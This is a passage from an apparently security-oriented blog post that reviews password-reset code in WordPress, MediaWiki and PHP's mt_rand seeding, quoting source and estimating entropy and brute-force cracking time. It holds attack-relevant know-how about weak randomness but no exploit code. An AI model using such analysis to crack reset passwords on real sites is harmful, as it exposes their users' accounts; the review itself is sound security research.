&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>update<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>users, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>'<font color="#ffa0a0">user_activation_key</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>'<font color="#ffa0a0">user_login</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font><font color="#ffa500">))</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
</pre>
<p>wp_generate_password() is found in wp-includes/pluggable.php:</p>
<pre>
<font color="#80a0ff">/**</font>
<font color="#80a0ff">&nbsp;* Generates a random password drawn from the defined set of characters.</font>
<font color="#80a0ff">&nbsp;*</font>
<font color="#80a0ff">&nbsp;* @since 2.5</font>
<font color="#80a0ff">&nbsp;*</font>
<font color="#80a0ff">&nbsp;* @param int $length The length of password to generate</font>
<font color="#80a0ff">&nbsp;* @param bool $special_chars Whether to include standard special characters.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Default true.</font>
<font color="#80a0ff">&nbsp;* @param bool $extra_special_chars Whether to include other special characters.</font>
<font color="#80a0ff">&nbsp;*&nbsp;&nbsp; Used when generating secret keys and salts. Default false.</font>
<font color="#80a0ff">&nbsp;* @return string The random password</font>
<font color="#80a0ff">&nbsp;**/</font>
<font color="#ff80ff">function</font>&nbsp;wp_generate_password<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">12</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">special_chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">true</font>, <font color="#ffff60"><b>$</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">extra_special_chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">false</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</font>';
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">special_chars</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;'<font color="#ffa0a0">!@#$%^&amp;*()</font>';
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">extra_special_chars</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;'<font color="#ffa0a0">-_ []{}&lt;&gt;~`+=,.;:/?|</font>';

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, wp_rand<font color="#ffa500">(</font><font color="#ffa0a0">0</font>, <font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;<font color="#80a0ff">// random_password filter was previously in random_password function which was
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;deprecated</font>
&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;apply_filters<font color="#ffa500">(</font>'<font color="#ffa0a0">random_password</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font><font color="#ffa500">)</font>;
<font color="#ffa500">}</font>
</pre>
<p>This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It's also found in wp-includes/pluggable.php and looks like this:</p>
<pre>
&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Reset $rnd_value after 14 uses</font>
&nbsp;&nbsp;<font color="#80a0ff">// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">8</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#40ffff">defined</font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">WP_SETUP_CONFIG</font>'&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>else</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;get_transient<font color="#ffa500">(</font>'<font color="#ffa0a0">random_seed</font>'<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">md5</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">uniqid</font><font color="#ffa500">(</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">()</font>, <font color="#ffa0a0">true</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">md5</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>!</b></font>&nbsp;<font color="#40ffff">defined</font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">WP_SETUP_CONFIG</font>'&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set_transient<font color="#ffa500">(</font>'<font color="#ffa0a0">random_seed</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;<font color="#80a0ff">// Take the first 8 digits for our value</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">8</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Strip the first eight, leaving the remainder for the next call to wp_rand().</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>, <font color="#ffa0a0">8</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">abs</font><font color="#ffa500">(</font><font color="#40ffff">hexdec</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font><font color="#ffa500">))</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Reduce the value to be within the min - max range</font>
&nbsp;&nbsp;<font color="#80a0ff">// 4294967295 = 0xffffffff = max random number</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">max</font>&nbsp;<font color="#ffff60"><b>!=</b></font>&nbsp;<font color="#ffa0a0">0</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">min</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa500">((</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">max</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">min</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>/</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffa0a0">4294967295</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)))</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#40ffff">abs</font><font color="#ffa500">(</font><font color="#40ffff">intval</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font><font color="#ffa500">))</font>;
<font color="#ffa500">}</font>
</pre>
<p>This is quite complex for generating a number! But the points of interest are:</p>
<ul>
<li>Hashing functions (sha1 and md5) are used, which are going to be <em>a lot</em> slower than a standard generator, but they, at least in theory, have cryptographic strength</li>
<li>The random number is seeded with microtime() and mt_rand(), which is PHP's "advanced" randomization function)</li>
<li>The random number is restricted to 0 - 0xFFFFFFFF, which is pretty typical</li>
</ul>
<p>In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity - using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything 'just in case'. While I don't expect to find any weaknesses in the implementation, it's a little concerning. </p>
<p>Now, let's take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!</p>
<h2>MediaWiki</h2>
<p><a href='http://www.mediawiki.org/'>MediaWiki</a> 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:</p>
<pre>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>randomPassword<font color="#ffa500">()</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>setNewpassword<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">throttle</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>saveSettings<font color="#ffa500">()</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>getOption<font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">m</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;wfMsgExt<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">emailText</font>, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">parsemag</font>', '<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffa500">)</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">ip</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>getName<font color="#ffa500">()</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgServer</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgScript</font>, <font color="#40ffff">round</font><font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgNewPasswordExpiry</font>&nbsp;<font color="#ffff60"><b>/</b></font>&nbsp;<font color="#ffa0a0">86400</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">result</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>sendMail<font color="#ffa500">(</font>&nbsp;wfMsgExt<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">emailTitle</font>, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">parsemag</font>',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">m</font>&nbsp;<font color="#ffa500">)</font>;
</pre>
<p>$u->randomPassword() is found in includes/User.php looks like this:</p>
<pre>
&nbsp;&nbsp;<font color="#80a0ff">/**</font>
<font color="#80a0ff">&nbsp;&nbsp; * Return a random password. Sourced from mt_rand, so it's not particularly secure.</font>
<font color="#80a0ff">&nbsp;&nbsp; * @</font><span style="background-color: #ffff00"><font color="#0000ff">todo</font></span><font color="#80a0ff">&nbsp;hash random numbers to improve security, like generateToken()</font>
<font color="#80a0ff">&nbsp;&nbsp; *</font>
<font color="#80a0ff">&nbsp;&nbsp; * @return \string New random password</font>
<font color="#80a0ff">&nbsp;&nbsp; */</font>
&nbsp;&nbsp;<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#ff80ff">function</font>&nbsp;randomPassword<font color="#ffa500">()</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgMinimalPasswordLength</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz</font>';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">l</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">max</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">7</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">wgMinimalPasswordLength</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">digit</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">0</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>==</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">digit</font>&nbsp;<font color="#ffff60"><b>?</b></font>&nbsp;<font color="#40ffff">chr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">48</font>, <font color="#ffa0a0">57</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>:</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font><font color="#ffa500">{</font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">0</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">l</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">}</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
</pre>
<p>This is easily the most complex, and also most dangerous, password-reset implementation that I've found.</p>
<p>First, the length is only 7 characters by default. That's already an issue.</p>
<p>Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:</p>
<ul>
<li>7 characters @ 52 choices = 52<sup>7</sup> = 1,028,071,702,528</li>
<li>6 characters @ 52 choices + 1 character @ 10 choices = 52<sup>6</sup> * 10 = 197,706,096,640</li>
</ul>
<p>However, as my friend pointed out, because you don't know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:</p>
<ul>
<li>6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 52<sup>6</sup> * 10 * 7 = 1,383,942,676,480</li>
</ul>
<p>So, in reality, adding a single number does improve the strength, but only by a bit.</p>
<p>Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that's essentially impossible to guess/bruteforce remotely. That's a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.</p>
<p>The other issue here is that the only source of entropy is PHP's mt_rand() function. The next section will look at how PHP seeds this function.</p>
<h2>PHP</h2>
<p>All three of these implementations depend, in one way or another, on <a href='http://www.php.net/'>PHP</a>'s mt_rand() function. The obvious question is, how strong is mt_rand()?</p>
<p>I'm only going to look at this from a high level for now. When I have some more time, I'm hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. :)</p>
<p>For now, though, let's look at the function that's used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the <a href='https://secure.wikimedia.org/wikipedia/en/wiki/Mersenne_Twister'>Mersenne Twister</a> algorithm, which is a well tested random number generator with an advertised average period of 2<sup>19937</sup>-1. That means that it won't repeat until 2<sup>19937</sup>-1 values are generated. I don't personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed. </p>
<p>Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:</p>
<pre>
PHPAPI <font color="#60ff60"><b>long</b></font>&nbsp;php_rand(TSRMLS_D)
{
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>long</b></font>&nbsp;ret;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(!BG(rand_is_seeded)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php_srand(GENERATE_SEED() TSRMLS_CC);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// ...</font>
}
</pre>
<p>Simple enough - if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:</p>
<pre>
<font color="#ff80ff">#ifdef PHP_WIN32</font>
<font color="#ff80ff">#define GENERATE_SEED() (((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (time(</font><font color="#ffa0a0">0</font><font color="#ff80ff">) * GetCurrentProcessId())) ^ 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">)(</font><font color="#ffa0a0">1000000.0</font><font color="#ff80ff">&nbsp;* php_combined_lcg(TSRMLS_C))))</font>
<font color="#ff80ff">#else</font>
<font color="#ff80ff">#define GENERATE_SEED() (((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (time(</font><font color="#ffa0a0">0</font><font color="#ff80ff">) * getpid())) ^ 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (</font><font color="#ffa0a0">1000000.0</font><font color="#ff80ff">&nbsp;* php_combined_lcg(TSRMLS_C))))</font>
<font color="#ff80ff">#endif</font>
</pre>
<p>So it's seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it's defined at ext/standard/lcg.c so let's take a look:</p>
<pre>
PHPAPI <font color="#60ff60"><b>double</b></font>&nbsp;php_combined_lcg(TSRMLS_D) <font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;{{{ </font><font color="#80a0ff">*/</font>
{
&nbsp;&nbsp;&nbsp;&nbsp;php_int32 q;
&nbsp;&nbsp;&nbsp;&nbsp;php_int32 z;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(!LCG(seeded)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lcg_seed(TSRMLS_C);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;MODMULT(<font color="#ffa0a0">53668</font>, <font color="#ffa0a0">40014</font>, <font color="#ffa0a0">12211</font>, <font color="#ffa0a0">2147483563L</font>, LCG(s1));
&nbsp;&nbsp;&nbsp;&nbsp;MODMULT(<font color="#ffa0a0">52774</font>, <font color="#ffa0a0">40692</font>, <font color="#ffa0a0">3791</font>, <font color="#ffa0a0">2147483399L</font>, LCG(s2));

&nbsp;&nbsp;&nbsp;&nbsp;z = LCG(s1) - LCG(s2);
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(z &lt; <font color="#ffa0a0">1</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;z += <font color="#ffa0a0">2147483562</font>;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;z * <font color="#ffa0a0">4.656613e-10</font>;
}
</pre>
<p>This function also needs to be seeded! It's pretty funny to seed a random number generator with another random number generator - what, exactly, does that improve?</p>
<p>Here is what lcg_seed(), in the same file, looks like:</p>
<pre>
